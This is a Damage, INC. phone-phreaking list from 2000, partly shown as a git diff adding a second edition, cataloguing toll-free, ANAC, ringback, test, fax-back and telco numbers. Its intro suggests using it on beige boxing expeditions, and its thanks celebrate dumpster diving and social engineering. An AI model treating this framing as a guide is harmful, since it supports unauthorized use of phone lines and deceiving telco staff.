1-800-555-1120. +1-800-555-1226 Siren Tones. +1-800-555-2123 Tones. +1-800-555-2147 Ring + Trunk Busy signal. +1-800-555-2342 Dialtone. (PBX) +1-800-555-3585 Dialtone. (PBX) +1-800-555-3696 Silent line. +1-800-555-6690 Tone. +1-800-565-6737 High Tone. +1-800-624-2255 "We're sorry. We're unable to place a call from this number." +1-800-638-0156 Tones. +1-800-647-2255 "I'm sorry. We are no longer taking calls for this project." +1-800-745-6678 Dialtone. +1-800-747-6678 High Tone. +1-800-749-2355 High Tone. +1-800-749-9975 Tone. +1-800-786-3228 Fast Busy. +1-800-808-8319 Weird ring "please enter your telephone number" beep. +1-800-808-8332 No Ring + Clicking. +1-800-808-8335 undeniably a test number of sorts... +1-800-827-0000 "You have entered an invalid telephone number..." +1-800-827-0011 "We're sorry, all circuits are now busy..." +1-800-827-0036 No Ring+Click+Trunk Busy. +1-800-827-0058 High Tone. +1-800-827-0875 "This ATT Technologies number is not active." +1-800-827-1227 Ring+Trunk Busy. +1-800-827-3005 Alphanet Telecom recording. +1-800-827-3210 NIS (Reads back 827-3210) +1-800-827-3670 High Tones. +1-800-827-3750 "You have dialed an invalid location." +1-800-827-7878 "You have dialed an invalid location." +1-800-827-9010 "We're sorry, the number you have called is an invalid number." +1-800-827-9876 NIS (Reads back 827-9876) +1-800-827-9890 "You have reached a number that is NIS at this time. 827-9890." +1-800-827-9892 "You have reached a number that is NIS at this time. 827-9892." +1-800-827-9904 "You have reached a number that is NIS at this time. 827-9904." +1-800-848-9000 Always Busy. +1-800-861-9905 Loud Ring+Tones then "Thank you. Please hang up now." +1-800-862-6338 Blast of Noise. "Please enter your calling card PIN number." +1-800-866-9317 High Tone. +1-800-874-4000 BUSY. AT&T USA Direct Service. +1-800-877-8000 Low Tone. +1-800-878-3532 High Tone. +1-800-889-4668 Ring+Silent Line. +1-800-898-2355 Silent line. +1-800-900-1302 Silent line. +1-800-900-2274 Silent line. +1-800-909-3467 Low Tone (PBX) +1-800-909-4358 High Tone. +1-800-909-4364 High Tone. +1-800-925-0288 "This is not a valid number." +1-800-925-3300 Low Tone. +1-800-925-6620 Low Tone. +1-800-925-8300 Rings+Silent Line. +1-800-959-9997 "Test 1, 2, 3, 4." message. +1-800-MCI-WORLD Always Busy. +1-800-MTT-LOCAL Fast Busy. +1-877-268-4272 Tones. +1-877-382-2355 Tones. +1-877-655-2355 Ring+Trunk Busy. +1-877-900-EASY "You have reached an inactive number on the EasyTel network." +1-877-922-BELL High Tone. +1-888-374-2355 "You have entered an invalid telephone number." +1-888-468-2355 "Due to technical difficulties we cannot record your message +1-888-487-5346 L.E.G.O.S. +1-888-786-6786 Control. +1-888-871-2380 Waterloo Facilities. +1-888-BELLCORE Always Busy. + + +------------------------------------------------------------------------------- + FAX-Backs: +------------------------------------------------------------------------------- + +1-800-222-9323 AMV FAX-Back.1-800-268-9100 Bell Canada 1-900, 976, Info Line (2,1,2,AC,NUM,#,#) +1-800-282-2000 Phillips (1,2,6,AC,NUM,#,1,#) +1-800-323-6586 Tandy Retail Services FAX-Back. (order Tandy docs!) +1-800-329-7310 Bell Atlantic Investor Relations Fax-On-Demand. +1-800-345-1518 Compaq Computer PaqFax. +1-800-365-0696 Genecom Corporation FAX-back service. (Digital Printer Support) +1-800-368-9673 Hewlett-Packard Information Storage Quick Fax (1,2,AC,NUM,1,2,) +1-800-380-0030 Diamond (2,2AC,NUM,#,1,AC,NUM,#,1) +1-800-443-1254 HP Portable Products (5,5,5,#,3,2,2,2,1#AC,NUM,#,1,#,) +1-800-445-7736 Exabyte Fax-on-Demand (2,1) +1-800-446-6212 Analog Fax (2,1,0,AC,NUM,1,AC,NUM,#,1) +1-800-451-2100 Lucent Technologies Cincinnati. (get product info by FAX) +1-800-483-2495 Central FAX on demand system. (FAX-Back) +1-800-521-2846 Brother FAX-Back (they make fax machines and typewriters) +1-800-522-6752 Amp Fax (1,8,90,#,#,AC,NUM,#,#,AC,NUM,#,#,#) +1-800-525-3019 Intel (1,1,3,2,AC,NUM,1,#) +1-800-663-0378 Toshiba Canada TossFax. (press 1) +1-800-684-2255 Nortel Networks Fax on Demand System. (1,1,1,AC,NUM,#) +1-800-722-4786 Sun Microsystems Service Canada (1,2,4,1,AC,NUM,#,1) +1-800-727-3351 Micro$oft Sales FAX Service Line. (press *,1,1,AC,NUM,#,5,0) +1-800-762-6163 3Com Fax-on-Demand. +1-800-822-4269 Borland Tech-Fax Document Retrieval System (3,2,1,AC,NUM,#,1,3,1) +1-800-827-3000 Elite Group (press 1 for Fax-back) +1-800-832-4778 Western Digital Fax Access (2,1,1,1,AC,NUM,#,1,AC,NUM,#,1) +1-800-832-6328 Ameritech Team Data Support Center (press 6,2,1,2,AC,NUM,1) + (pressing 6 transfers you to the Ameritech Team Data Information + Server which you can use to obtain telco info via FAX-Back) +1-800-872-4786 Sun Microsystems Service United States (2,4,1,AC,NUM,#,1) +1-800-879-8632 US West News line. (U.S. only) +1-800-909-0261 Apple Fax. +1-800-909-0263 3M Economic Services Fax-On-Demand System. +1-800-909-0264 Kinkos Fax-On-Demand Service. +1-800-909-0269 Co-merica Bank, California's Fax-On-Demand Service. +1-800-943-8329 Integrated Device Tech (1000,1,3000,1,#,AC,NUM#,1,#) +1-800-FAX-SUNW Sun Fax-Back. +1-800-IBM-4FAX IBM FAX Information Service. (3,1,0,1,1,1,AC,NUM,#,1,1) +1-800-SKY-USER SkyTel Customer Service. (press 3 for FAX on demand for docs) +1-888-322-8444 Hartford Shareholders News & Info FAX-Back (3,1,AC,NUM) + + +------------------------------------------------------------------------------- + Yellow Pages: +------------------------------------------------------------------------------- + +(519) 579-2252 Baka Communications. (Bell Mobility Dealer) +(519) 654-2211 Bestel Message Centre Ltd. (Paging Services) +(519) 679-8333 Bell. (London Office) +(519) 679-8460 Bell. (London Office) +(519) 725-2570 Bell Mobility Baca. +(519) 744-7781 Bell Mobility Centre (Highland Hills Mall) +(519) 745-3900 Bestel Message Centre Ltd. (Full Messaging, Voice Mail, Paging) +(519) 893-8777 Bell World. +(519) 894-2211 Bell Mobility Cellular Plus Centre. +1-800-311-WORK Bell Canada. +1-800-268-1711 Baka Communications Inc. (Toronto and Mississauga) +1-800-387-7243 (1-800-387-PAGE) Bell Mobility Paging. +1-800-917-1917 Bell Canada's Advantage Call Centre Solutions. + +(519) 888-9660 Cantel AT&T Store (Connestoga Mall) +(519) 893-1811 Cantel AT&T Automated Self-Service System. +1-800-268-1087 Cantel AT&T Paging Customer Service. +1-888-353-4726 (1-88-TELEGRAM) AT&T Canada. (Send a Telegram Worldwide) + +(519) 741-5990 London Telecom Network. +(519) 743-3602 Extend Communications Inc. (Pagers, Voice Mail Boxes, etc.) +(519) 748-3200 Rogers Cablesystems General Enquiries. +(519) 749-2434 Clearnet Business Communications Centre. (Paging, PCS, etc.) +(519) 893-2310 Rogers Technical Assistance. +(519) 893-4400 Rogers Community Programming. +(519) 896-7600 Ericsson Communications Canada Inc. +(905) 561-5443 Digital Mobile Systems Inc. + +1-800-216-0888 PageNet. +1-800-263-4824 Digital Mobile. (Authorized Motorola Dealer) +1-800-265-8725 Shaw Paging. +1-800-270-8220 SOS 2000. (Government Canada line that lists businesses which + offer Year 2000 expertise and services) +1-800-453-6835 (1-800-GLENTEL) Glentel Inc. Mobile Satellites. +1-800-838-0298 MRC Systems Inc. +1-888-253-2763 (1-888-CLEARNET) Clearnet Customer Service. +1-888-474-3486 Iridium Canada. (Voice, Data, FAX & Paging Services) + + +Internet: + +(519) 570-2121 GO INTERNET CAFE. +(519) 651-3400 Sentex Communications. +(519) 885-0211 BondNet Internet Services Inc. (Cisco Systems Reseller, Lucent + Technologies Agent) +1-800-263-8433 Burlington Network Services. +1-800-668-2857 Wightman Telecommunications. (ISP) +1-800-773-4638 Globalserve Internet. +1-888-298-3447 Netcom Canada. +1-888-4-SENTEX Sentex Communications. +1-888-6-NEWNET New Net Technologies Group. + + +Cable: + +1-800-267-1919 CaTech Systems LTD. +1-800-400-4954 Cablecom International. +1-877-342-3726 Fiber Core Communications. +1-877-652-0088 First Call Locate Service. + + +Telephone Companies: + +(519) 651-2000 A-TEL Communications. (Press "9" to dial out) +(519) 651-2250 A-TEL Communications. +(519) 744-4455 A Telephone Man. (listed under Telephone Companies) +(519) 744-9640 A + Tel Inc. +(519) 745-0856 Telnet Communications. +(519) 746-3357 Sprint Canada Inc. + + +Telephone Directories: + +(519) 571-7700 Bell ActiMedia. +(519) 658-2001 Kitchener-Waterloo Talking Yellow Pages. (Gives local time & + temperature) + + +Telephone Equipment: + +(519) 570-0885 WilTel. +(519) 570-1320 Greb Tele-Data Inc. (Authorized Sprint Canada Sales & Service) +(519) 570-3609 Brant Telephone. (Authorized AT&T Canada and Lucent Technologies + Dealer. Long Distance and Conferencing Services) +(519) 650-2000 City-Com Communications (Golden Triangle) Inc. +(519) 654-2000 Regional Telecom. +(519) 654-2003 Intelicom Systems. +(519) 658-4588 Instatel Communications +(519) 741-9262 Barrett B J Communications. +(519) 744-6500 Tele-Connect. +(519) 747-3333 PhoneMaster. (Authorized Sprint Dealer) +(519) 748-1177 J&D Systems Inc. (Nortel Networks Authorized Distributor) +(519) 748-2228 Telefficiency. (Authorized Nortel, Meridian, etc. Distributor) +(519) 748-5832 Delphi Solutions. (Authorized Sprint Canada Agent) +(519) 883-4109 Exceltech. (Telephone equipment services) +1-800-932-9443 J P Cable Installations Ltd. (Authorized Bell Agent) +1-888-276-1604 Telecom-Tech. +1-888-7-DELPHI Delphi Solutions Customer Service. + + +Long Distance: + +(519) 220-1120 Ability Telecom. (Flat Rate Long Distance) +(519) 576-7077 Distributel Communications Ltd. (Flat Rate Long Distance) +(519) 651-2250 Fone Pass (formerly Ad-Tel Communications) +(519) 654-9614 Ontel Long Distance (Flat Rate, Worldwide Long Distance) +1-800-670-2266 AT&T Canada Long Distance. +1-800-700-0017 Glentel Inc. (Long Distance) +1-888-266-1313 WinTel Communications. (Long Distance) +1-888-676-7777 Bell Canada (Dis)Advantage Optimum savings program. +1-888-824-1032 Telelink Canada. (Flat Rate Long Distance) + + +Toronto and Mississauga: + +(416) 240-4955 Rogers AT&T Wireless. +(416) 242-4242 The Canadian Telephone Company. +(416) 255-8000 Watts Communications Ltd. +(416) 292-1010 Toronto Talking Yellow Pages. (local time and temperature) +(416) 345-2770 AT&T Canada Telecommunications Solutions Sales Dept. +(416) 350-1000 Bell Nexxia. +(416) 360-2307 Deutsche Telekom Canada. +(416) 366-FIDO Fido. (Wireless Communications) +(416) 368-0002 Sun Microsystems Sales Office. +(416) 393-3500 TTC Time. (reports EST every 10 seconds) +(416) 412-5000 Bell ActiMedia. +(416) 412-5100 Yellow Pages Info Direct. +(416) 412-5200 Yellow Pages Assistance. +(416) 412-5400 Bell ActiMedia Directory Ordering and Sales. +(416) 412-5600 Bell ActiMedia Directory Delivery Department. +(416) 412-5999 Bell ActiMedia Customer Service. +(416) 425-4500 1st Canadian Telecom. (Toronto Headquarters) +(416) 533-7670 The Local Telephone Company Limited. +(416) 581-0000 Lotus Development Canada. +(416) 590-0202 Bell World. +(416) 601-1200 Metro Access. +(416) 620-2420 Bell ActiMedia. +(416) 674-2233 Bell Mobility. +(416) 733-4032 Telesat Canada. (Satellite Communications) +(416) 756-4900 Nortel Control Center. +(416) 767-7778 The Local Telephone Company Limited. +(416) 777-2600 London Telecom Network. +(416) 777-2881 WinTel Communications. +(416) 860-1828 Hong Kong Telecom Canada. +(416) 862-0705 MCI WorldCom. +(416) 862-1717 Bell Canada Repair. +(416) 924-9511 Distributel Communications Limited. +(905) 238-2349 Panasonic Canada, Inc. Telecommunications. +(905) 264-5560 SCO Canada. +(905) 470-3456 Toshiba Canada. (Markham, ON) +(905) 470-3478 Toshiba Canada. +(905) 477-3047 Telesonic Communications Prepaid Calling Cards. +(905) 477-4344 Borland Canada. +(905) 477-6745 Sun Microsystems of Canada. (Head Office in Markham, ON) +(905) 542-3977 Entourage Technology Solutions. (Authorized Bell Distributor) +(905) 602-5454 Fujitsu Canada. +(905) 629-5000 Centel Communications. (Authorized Nortel Dealer) +(905) 669-8107 Maxxell Canada. +(905) 676-6700 Computer Associates. (Mississauga Office) +(905) 712-4242 Williams Telecommunications Corp. +(905) 795-1111 Canon Canada. +(905) 890-2355 Motorola Cellular. +(905) 890-8100 Oracle Corporation Canada. +(905) 946-0928 Autodesk Canada. +1-800-263-9217 Bell Business Repair. +1-800-268-9322 Bell Voice Message Center. +1-800-287-9334 Canadian Operator Services (Canadian Payphone Corp.) +1-800-465-6887 Lotus Development Corp. Canada. +1-800-519-1900 Corporate Image Marketing. (Toll free vanity numbers) +1-800-827-4890 Globo Communications. (Spanish) +1-877-249-2782 CRTC Client Services. +1-877-666-7297 Canada Payphone Collect Call Services. + + +------------------------------------------------------------------------------- + International Numbers: +------------------------------------------------------------------------------- + +Argentina: + +115 Ringback. +5702 ANAC. + +Argentina Country Direct: + +0800-5-4900 Alemania +0800-2-3200 B‚lgica +0800-5-5500 Brasil +0800-2-1004 Canada +0800-5-5601 Chile (ENTEL) +0800-5-5603 Chile (VTR) +0800-2-5604 Chile (SAT) +0800-5-5700 Colombia +0800-2-4500 Dinamarca +0800-2-1001 EE.UU. (AT&T) +0800-5-1002 EE.UU. (MCI) +0800-5-1003 EE.UU. (SPRINT) +0800-2-3400 Espa¤a +0800-5-3300 Francia +0800-2-3030 Grecia +0800-2-3100 Holanda +0800-2-1809 Is. V¡rgenes +0800-5-3900 Italia +0800-5-3901 Italia (Tarj. Prepaga) +0800-5-3902 Italia (Tarj. Cr‚dito) +0800-2-8100 Jap¢n (KDD) +0800-2-0505 Nicaragua +0800-2-4700 Noruega +0800-5-5950 Paraguay +0800-2-5100 Per£ +0800-5-3510 Portugal +0800-5-4401 Reino Unido (BT) +0800-2-4400 Reino Unido (MERCURY) +0800-5-2809 Rep. Dominicana +0800-5-6500 Singapur +0800-2-4100 Suiza +0800-5-5980 Uruguay +0800-2-5800 Venezuela + + +Russia: + +AT&T Numbers: + ++7 095 9740074 AT&T Tone System (Moscow HQ) ++7 095 7555042 AT&T operator. (English) ++7 095 1555042 AT&T Automated Calling System. ++7 095 7555555 AT&T operator. (Russian) + +Free 800 Services. Moscow Numbers: + +7473320 MCI Operators in California. (Russian) +7473322 Connects to Customer Service in Russian. (English) +7473321 AT&T Operators (New York) +7473324 Sprint Global, Arizona, USA +7473325 Orua, Canada +7473327 National Calling Center, UK +7473329 Japan service +7473356 Sprint Calling Cards. +7473359 France service +7473361 Italian service +7473363 Chili service + +National Russian Numbers: + +8-10 800 4977211 ‘˜€ (AT&T) +8-10 800 4977222 ‘˜€ (MCI) +8-10 800 4977255 ‘˜€ (Sprint) +8-10 800 4977220 ‘˜€ (MCI àãá᪮ï§ëç­ ï á«ã¦¡ ) +8-10 800 4977233 Š ­ ¤  (Teleglobe) +8-10 800 4977266 ‚¥«¨ª®¡à¨â ­¨ï (BT) +8-10 800 4977277 ‚¥«¨ª®¡à¨â ­¨ï (Mercuri) +8-10 800 4977288 ‚¥­£à¨ï +8-10 800 4977181 Ÿ¯®­¨ï (KDD) +8-10 800 4974358 ”¨­«ï­¤¨ï( Telecom Finland) +8-10 800 4977032 ¥«ì£¨ï (Belgacom calling cards) +8-10 800 4977212 ¥«ì£¨ï (Belgacom operator) +8-10 800 4977039 ˆâ «¨ï (Iritel) +8-10 800 4977353 ˆà« ­¤¨ï (Telecom Ireland) +8-10 800 4977156 —¨«¨ +8-10 800 4977165 ‘¨­£ ¯ãà +8-10 800 4977141 ˜¢¥©æ à¨ï. + + +South Africa: + +101999 Toll Free ANAC. + + +United Kingdom: + +100 Operator +175 National test number. (ANAC) +999 Emergency +1234 Talking Clock +192 Directory Enquiries (ie. give name/address, get phone number) + ++44 (0)171 930 4832 Buckingham Palace, London + +0800 100100 Operator/BT Sales +0800 321999 BT Security +0800 696969 HeatBusters, Gas Appliances +0800 89xxxx International Freephone (toll-free, but terminate overseas) + +UK Country Direct: + +0800 890011 USA Direct AT&T +0800 890016 Canada Direct +0800 890027 South Africa Direct +0800 890031 Netherlands Direct +0800 890032 Belgium Direct +0800 890033 France Direct +0800 890034 Spain Direct +0800 890036 Hungary Direct +0800 890038 Yugoslavia Direct +0800 890039 Italy Direct +0800 890042 Czechoslovakia Direct +0800 890043 Austria Direct +0800 890045 Denmark Direct +0800 890046 Sweden Direct +0800 890047 Norway Direct +0800 890049 Germany Direct +0800 890055 Brazil Direct +0800 890056 Chile Direct +0800 890061 Australia Direct +0800 890064 New Zealand Direct +0800 890065 Singapore Direct +0800 890066 Thailand Direct +0800 890081 Japan Direct +0800 890082 Korea Direct +0800 890123 Bermuda Direct +0800 890212 Morocco Direct +0800 890222 USA Direct MCI +0800 890351 Portugal Direct +0800 890353 Eire Direct +0800 890357 Cyprus Direct +0800 890358 Finland Direct +0800 890808 Hawaii Direct +0800 890852 Hong Kong Direct +0800 890877 USA Direct Sprint +0800 890909 BT International +0800 893300 Engineering test line, Hungary +0800 894278 Microtest +0800 894382 Novell Support: DOS7 & Personal Netware +0800 896980 J C Penney USA retailer +0800 897120 Quarterdeck UK +0800 897121 Holiday Inn +0800 897125 Phoenix Datacom +0800 898563 Iomega +0800 898604 Piste Artiste +0800 898888 Sun Express (Netherlands) +0800 899002 National Pen, Manchester +0800 899688 Sprint/Travelex pre-paid phone cards + +Voyager's alt.2600/#Hack FAQ also contains international test numbers that are +not included in this list. + + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Final Notes: + +If you'd like to contribute to the Damage, INC. Phreaky Field Phreaking List, +discover any dupes, numbers that are no longer in service or ones that have +been misidentified, please notify us in Email at damage_inc@disinfo.net and +report the error. This list is updated and released on a quarterly basis. +So, if you send numbers your alias will be included in the next edition. +Contributions are encouraged and always appreciated. + +Thanks go out to the following people (in no particular order) for their +contributions to this list. It's a large, ongoing project that wouldn't exist +without their support, and we appreciate the efforts that they've made towards +this compilation of numbers. If you contributed in some way but were neglected +to be mentioned, contact Damage, INC. and notify us about the oversight. + +Contributors/Greets: + +THC Phreak, BLACKENED, Shatazar, Helena3, Breaker, x25lurker, Tobias, Nevada, +Fringe, , Syko416, Lord Narayana, 1dot1, Overflow Trap, Fatal Vision, +Voyageur514, Silent Sentry, L00pster5, Phearless One, The Clone, Loud Ton3y, +Cultist, The Pusher, Gerfalcon, Jackal, Anarchist613, Betsi, RedBoxChiliPepper, +Logic Box, hevnsnt, Aftermath, Goldeneye, Jester, The Hitman, radigan, KingPiN, +tOrnak, Hollywood Vampire, Err418, Mister T, InfestDead, Toxic Twin, Snake Eyes, +not_in_service, Wrathchild, 1ns4n3 Pr3d4t0r,ÿDevilinDisguise, Aneurysm (204), +Hollow Point, Metabolis, Phractal, absolut zero (416), The Anchorite, Vortex, +La Jolla, aeon, Charles Forbin, Telco Terminus, BiohazzardTen, zxyx, Rev-Eng, +Dark Tangent, Jack Phlash, Cyb0rg/ASM, dea)(alm, , roamer1, The Exec, +C5man, Schizophreakic, The Propagandist, XORo, Crazy Horse, Di4BoLiK SLiM, +Mogel. + +Greets to all of the telco employees that know us and converse with us in a +polite, friendly, intelligent manner. To the few telcos that still have toll +free numbers with an ANAC, thanks for not removing that important feature. + +Special Thanks to: + +All of the places that have easily accessible, unshreded documents, manuals, and +lists of numbers in clean, unmonitored, unlocked, dumpsters. + +All of the people that've been so generous as to readily divulge information +while I was scanning and dialed their number. + +Lax security and people that are easily social engineered. + +All webmasters of quality phreaking/telephony related sites. + +Minor Threat and Mucho Maas for ToneLoc. + +Scavenger for Scavenger-Dialer. + +Everyone else that ever created any useful scan/phreak utilities, or wrote +informative text files on phreaking. + +Voyager (TNO) for creating and maintaining the alt.2600/#Hack FAQ. + +Cult of the Dead Cow (cDc) for providing us with interesting, entertaining +reading material, to peruse through while scanning all these years. Some of +their phreak related t-files also helped inspire us to create the Phreaky Field +NPA Reference, etc. And of course, they've influenced us in other positive +ways as well. + +Hack Canada for supporting the Canadian hack/phreak scene. + +RedBoxChiliPepper (Phone Losers of America) for the PLA Telephone Director0y. +It was an inspiration to us. :) + +It was created, scanned, compiled, verified and distributed by phreaks, for +phreaks. And in addition to that, it's damn phreaky. Have phun... and look +for more releases courtesy of Damage, INC. and Blamerica Phreaky Industries. + +- Blackie Lawless + + Copyright 2000 by Damage, INC. All Rights Reserved. diff --git a/textfiles.com/groups/DAMAGEINC/dam00win.txt b/textfiles.com/groups/DAMAGEINC/dam00win.txt new file mode 100644 index 00000000..b53e72b6 --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/dam00win.txt @@ -0,0 +1,2086 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + Phreaky Field Phreaking List. + ú Winter 2000 Edition ú + (Released: 02/27/00) + + http://surf.to/damage_inc + damage_inc@disinfo.net +=============================================================================== + +Introduction: + +This is the fourth edition of the Damage, INC. Phreaky Field Phreaking List. We +recommend that you print it out and take it with you on beige boxing/junction +boxing expeditions or for use as a reference while at payphones. Hell, just +take it with you wherever you travel. You never know when you're going to need +it. :) This comprehensive list includes many toll free numbers for telcos, +test numbers, conferences, computer companies, carriers, cellular, and other +services, etc. It's not just damn phreaky, it's the phreakiest! + +Disclaimer: + +The Damage, INC. Phreaky Field Phreaking List is for informational purposes +only. We are not responsible for how it is used, including but not restricted +to any fraudulent, illegal acts that may be committed, unauthorized access of +systems, loss/theft of services or any damages that may be caused as a result +of someone else's activities. If/how you use these numbers is entirely your +choice. In summary, you're legally responsible for your own deeds and actions. +Now that the legal shit has been thoroughly covered, here's what you have all +been waiting for... :) + +------------------------------------------------------------------------------- + ANACs/ANIs and Ringbacks: +------------------------------------------------------------------------------- + +(514) 320-0047 Slow ANAC for Montreal, Quebec. +(514) 320-1147 Fast ANAC for Montreal, Quebec. +(519) 748-3220 Viewer's Choice order line for Kitchener. (press 1 for ANI) +(613) 320-2232 ANI for Ottawa, Ontario. +(954) 780-2411 ANI for Fort Lauderdale, Florida. + +1-800-222-6000 eVoice by Nokia. Press "8,06" for ANI. (also gives date/time) +1-800-346-0152 ANI. +1-800-42562563 (1-800-4-BLOCKME) VRS Billing Systems and IntegriTel offers + free 1-800 blocking and ANAC. +1-800-487-9240 ANI (doesn't work from 519) +1-800-514-9939 ANI (doesn't work from 416/519) +1-800-532-7486 AT&T Inquiries (Press "1,1" for ANI) +1-800-555-1160 ANI (always busy now...) +1-800-555-1170 ANI (always busy now...) +1-800-569-5699 ANI (press "7*#") +1-800-638-2392 Press "2" for ANI info. +1-800-666-1379 Press "1,3,1" for ANI info. +1-800-692-6447 (1-800-MY-ANI-IS) Requires a passcode. + +320-XXX-XXXX Ringback for Montreal, Quebec. +507-XXX-XXXX Ringback for Alberta. +590-XXX-XXXX Ringback for 204 NPA. +954-780-6321 Ringback for 954 NPA. +954-999-XXXX Ringback for 954 NPA. +999-XXX-XXXX Ringback for 519 NPA. +999-XXX-XXXX Ringback for North Bay, Ontario (705) +999-XXX-XXXX Ringback for Ottawa, Ontario (613) +999-XXX-XXXX Ringback for portions of Toronto, Ontario (416) + + +------------------------------------------------------------------------------- + AT&T: +------------------------------------------------------------------------------- + +1-800-221-0000 AT&T Interactive Advantage Customer Support Line. +1-800-221-7680 AT&T Digital Video Center. +1-800-222-0300 AT&T Main Number. +1-800-222-0400 AT&T Custom Care Centre (for long distance service) +1-800-222-1000 AT&T Customer Care Center. +1-800-222-3000 AT&T Customer Service. +1-800-222-5111 Lucent/Phillips Communications/AT&T Telephones. +1-800-222-7956 AT&T Global ISDN Customer Care Center. +1-800-223-4507 AT&T. +1-800-225-5288 (1-800-CALL-ATT) +1-800-225-5856 AT&T's Vendor Agent Program. +1-800-235-4288 AT&T America. +1-800-242-2422 Loral Skynet Satellite Services (formerly AT&T Skynet) +1-800-242-6005 AT&T Internet Services. +1-800-243-0506 AT&T Find America Directory Service. +1-800-247-6636 AT&T Wireless Services In-Flight Customer Care. +1-800-248-3632 AT&T's Data Network Business Information Solutions. +1-800-254-8442 AT&T Repairs and Billing. +1-800-255-1242 AT&T Customer Information Center (Canada) +1-800-258-0123 AT&T Customer Care Center. +1-800-268-5931 AT&T Wireless Service VMB. +1-800-268-5939 AT&T (Operator) +1-800-305-9494 AT&T Wireless (MetroCall) Messaging. +1-800-322-MWBE AT&T Supplier Diversity Program Information Line. +1-800-325-0138 AT&T Small Business Customer Care. +1-800-331-3449 AT&T Employee Line (Lists AT&T Job openings) +1-800-342-5288 AT&T Customer Care. +1-800-344-9248 AT&T. +1-800-348-8288 AT&T Shareholder Services. +1-800-351-5855 AT&T Helpdesk. +1-800-362-9689 AT&T Customer Network Service Center. +1-800-387-1026 AT&T Canada Business Sales. +1-800-387-1926 AT&T Canada Long Distance Services. +1-800-4-ONE-RATE AT&T One Rate plan subscriptions. +1-800-400-1447 AT&T WorldNet Service Billing. +1-800-418-8999 AT&T Customer Care Center. (long distance service) +1-800-423-4343 AT&T Universal Card. +1-800-424-6030 AT&T's Matching Gift Processing Center. +1-800-425-5288 AT&T Products and Services. +1-800-426-8686 AT&T Printed Directories. (U.S. only) +1-800-428-8468 AT&T Global Services Center. +1-800-428-8669 (1-800-4ATT-NOW) AT&T Personal Network Sales Center. +1-800-432-6600 AT&T Customer Information Center (USA) +1-800-435-7375 AT&T EasyLink Technical Support. (U.S. only) +1-800-438-3151 AT&T Wireless, Job Line. +1-800-443-8288 (1-800-GIFT-ATT) AT&T Gift Certificates. +1-800-446-7466 (1-800-4GOPHONE) AT&T Wireless GoPhone Services. +1-800-462-4463 Rogers AT&T Wireless. +1-800-483-9288 AT&T and Texaco's Information Line. +1-800-522-2157 AT&T Investigations Department. +1-800-524-2455 AT&T Customer Care. +1-800-525-7955 AT&T Direct Call Cards. +1-800-528-0465 AT&T CampusWide Access Solutions. +1-800-538-5345 AT&T Slamming Resolution Center. +1-800-552-3373 AT&T Wireless Advanced Network Services Support. +1-800-555-8111 AT&T Consumer Lease Services. +1-800-562-2255 AT&T 1-800 Directory Advertising. +1-800-562-6275 AT&T Message Sender (Send an automated message to any number in + the world with your voice. Accepts calling cards & credit cards) +1-800-562-7288 (1-800-JOBS-ATT) AT&T Employee Line. (U.S. only.) +1-800-565-4708 AT&T Canada Long Distance Services. +1-800-567-3692 AT&T Canada Long Distance Services. (French) +1-800-567-4672 AT&T Canada Electronic Commerce Services. +1-800-575-5511 AT&T Canada Long Distance Services. +1-800-575-5533 AT&T Canada Residential Sales. (French) +1-800-575-9999 AT&T Canada. +1-800-628-8486 AT&T Language Line Services. +1-800-634-8078 AT&T Billing Office/Accounts info. +1-800-643-2255 AT&T Translation Service. (Foreign languages only) +1-800-662-6214 AT&T Calling Card Protection line. +1-800-662-7759 (1-800-66-APPLY) AT&T Universal Card. +1-800-670-2255 AT&T Canada Long Distance Services. +1-800-670-6000 AT&T Canada Long Distance Services. +1-800-673-7286 AT&T 1-800-OPERATOR. Specializes in collect calls. Automated. +1-800-678-7918 AT&T Business Customer Care Center. +1-800-682-8706 AT&T Telecommunications Relay Customer Service. (Voice) +1-800-682-8786 AT&T Telecommunications Relay (TTY) +1-800-7-HOSTIN AT&T Internet Services. +1-800-732-2255 AT&T High Seas Radio Telephone and Mobile Satellite Services. +1-800-746-7846 AT&T Internet Services. +1-800-752-0093 AT&T Language Line Services. +1-800-752-6096 AT&T Language Line Customer Service Center. +1-800-790-2255 AT&T Canada Long Distance Services. +1-800-790-6000 AT&T Canada Long Distance Services. +1-800-807-2466 AT&T Learning Points Program. +1-800-820-6464 AT&T Digital Long Distance/ISDN Services. +1-800-822-9009 AT&T Corporate Security, internal investigations. +1-800-830-2255 AT&T Canada Long Distance Services. +1-800-831-5259 AT&T WorldNet Business/Data Services. +1-800-833-3232 AT&T ACS Long Distance Bill Inquiries. +1-800-850-TIES AT&T. Call to setup Easy Reach 800s. +1-800-855-1155 AT&T LDRS Directory Assistance. (TTY Carrier for the deaf) +1-800-855-2880 AT&T Long Distance Relay Service (TTY) +1-800-855-2881 AT&T Long Distance Relay Service (automated/voice) +1-800-855-2882 AT&T Long Distance Relay Service (TTY) +1-800-855-2883 AT&T Long Distance Relay Service (TTY) +1-800-858-9857 AT&T True Rewards (option 1) +1-800-872-3883 AT&T. +1-800-878-3123 (1-800-TRUE-123) AT&T True Messages Service. +1-800-878-3500 AT&T True Connections Personal 500 Number Service. +1-800-889-4408 AT&T NCC (Network Control Center) and TCC. +1-800-892-3850 AT&T Wireless Long-Distance Service. +1-800-958-2255 AT&T Canada Long Distance Services. +1-800-958-6000 AT&T Canada Long Distance Services. +1-800-959-1090 AT&T New York Local Service. +1-800-967-5363 AT&T WorldNet Service. +1-800-970-2255 AT&T Canada Long Distance Services. +1-800-998-3947 AT&T Authorized Stocking Distributor/Zack Electronics. +1-800-ATT-4ALL AT&T New York Local Service. +1-800-GIFT-ATT AT&T Gift Certificates (extension 410) (Mon-Fri, 9-5) +1-800-IMAGINE Rogers AT&T Wireless. +1-800-WORLDNET (1-800-96753638) AT&T Canada Internet Service. +1-877-ATT-2345 AT&T Canada Long Distance Services. (Main Switchboard) +1-888-8-METNET MetroNet AT&T Canada. +1-888-888-5413 AT&T WorldNet Service. +1-888-928-8932 (1-888-9ATT-WEB) AT&T Online Customer Service. +1-888-933-1212 AT&T Cellular phone accessories. (U.S. only) +1-888-ATT-1233 AT&T Canada Internet Service. +1-888-ATT-ALL1 AT&T Customer Care Center. 